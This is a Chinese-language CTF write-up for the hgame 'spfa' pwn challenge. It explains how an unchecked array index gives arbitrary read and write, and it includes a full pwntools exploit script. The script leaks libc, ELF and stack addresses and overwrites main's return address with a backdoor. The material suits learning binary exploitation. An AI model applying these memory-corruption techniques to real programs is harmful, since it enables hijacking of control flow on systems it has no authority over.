hgame ser_per_fa复现
虽然开源,但spfa还是看得一知半解(下辈子一定学算法
保护全开,题目有backdoor
dist下标可控。
这里可以实现任意读地址
而这里又可以实现任意写
跟进发现控制add函数的参数,to为偏移,dis为要写的值即可。
官方大致思路就是读出一堆地址,最后把main函数的返回地址写成backdoor的地址。最重要的一点就是确定stack到elf的偏移
因为pie开了,elf,libc,stack三者地址全是随机的。下面确定三者的绝对地址。
libc地址通过got表可以得到。
elf地址通过elf文件里一个指向elf内部地址的指针可以leak。方法如下:
搜索高2字节为elf地址高2字节(这里是0x5555)的指针
比如这个指针,指向了自己
再算好其到dist的距离即可
stack的地址:
libc有一个三级指针地址_environ,指向栈中的environ,后者指向一个环境变量表。只要找到_environ指向的地址即可确定stack的地址。
然后再计算libcBase和_environ的偏移,和environ到main函数反址的偏移。
exp:
from pwn import *
# o_dist_elfAddr=0x55555555f720-0x55555555b008
# o_libcEnviron_libcBase=0x7fd0fbb332e0-0x7fd0fb944000
# o_stackEnviron_ret=0x7fffffffdf38-0x7fffffffde38
# o_elfAddr_backdoor=0x56204f05d008-0x56204f0576a5
o_dist_elfAddr = 18200
o_libcEnviron_libcBase = 2028256
o_stackEnviron_ret = 256
o_elfAddr_backdoor=22883
p=process('./spfa')
# p=gdb.debug('./spfa')
context.log_level='debug'
elf=ELF('./spfa')
libc=ELF('libc-2.31.so')
#libcBase
p.sendlineafter('how many datas?\n>> ', b'4')
p.sendlineafter('how many nodes?\n>> ', b'1')
p.sendlineafter('how many edges?\n>> ', b'0')
p.sendlineafter('you want to start from which node?\n>> ', b'0')
o=-(elf.sym['dist']-elf.got['puts'])//8
pay=bytes(str(o).encode('utf-8'))
p.sendlineafter('to ?\n', pay)
p.recvuntil('the length of the shortest path is ')
libcBase=int((p.recvuntil('\n', drop=1))) - libc.sym['puts']
success('libBase = '+hex(libcBase))
#elfAddr
p.sendlineafter('how many nodes?\n>> ', b'1')
p.sendlineafter('how many edges?\n>> ', b'0')
p.sendlineafter('you want to start from which node?\n>> ', b'0')
o=-(o_dist_elfAddr)//8
pay=bytes(str(o).encode('utf-8'))
p.sendlineafter('to ?\n', pay)
p.recvuntil('the length of the shortest path is ')
elfAddr=int((p.recvuntil('\n', drop=1)))
success('elfAddr = '+hex(elfAddr))
o_libcBase_elfAddr = libcBase - elfAddr
o_libcEnviron_dist = o_libcEnviron_libcBase + o_libcBase_elfAddr - o_dist_elfAddr
#stackEnviron
p.sendlineafter('how many nodes?\n>> ', b'1')
p.sendlineafter('how many edges?\n>> ', b'0')
p.sendlineafter('you want to start from which node?\n>> ', b'0')
o=(o_libcEnviron_dist)//8
pay=bytes(str(o).encode('utf-8'))
p.sendlineafter('to ?\n', pay)
p.recvuntil('the length of the shortest path is ')
stackEnviron=int((p.recvuntil('\n', drop=1)))
success('stackEnviron = '+hex(stackEnviron))
o_stackEnviron_libcBase = stackEnviron - libcBase
o_ret_dist = o_libcBase_elfAddr - o_dist_elfAddr + o_stackEnviron_libcBase + o_stackEnviron_ret-512
backdoor = elfAddr - o_elfAddr_backdoor
#overwrite main ret addr
p.sendlineafter('how many nodes?\n>> ', b'2')
p.sendlineafter('how many edges?\n>> ', b'1')
pay=b'0 '+ bytes(str(o_ret_dist//8).encode('utf-8')) +b' '+ bytes(str(backdoor).encode('utf-8'))
gdb.attach(p)
pause()
p.sendlineafter('input edges in the\n[from] [to] [distant]\nformat\n',pay)
p.sendlineafter('you want to start from which node?\n>> ',b'0')
p.sendlineafter('to ?\n>> ',b'0')
p.interactive()
然而最后调system又没有字节对齐qwq(不管了摆了
或者,不需要知道stack的地址。因为puts调用了libc中的strlen函数,strlen的got表是可以改的(在libc elf里)。具体参照nova gg的博客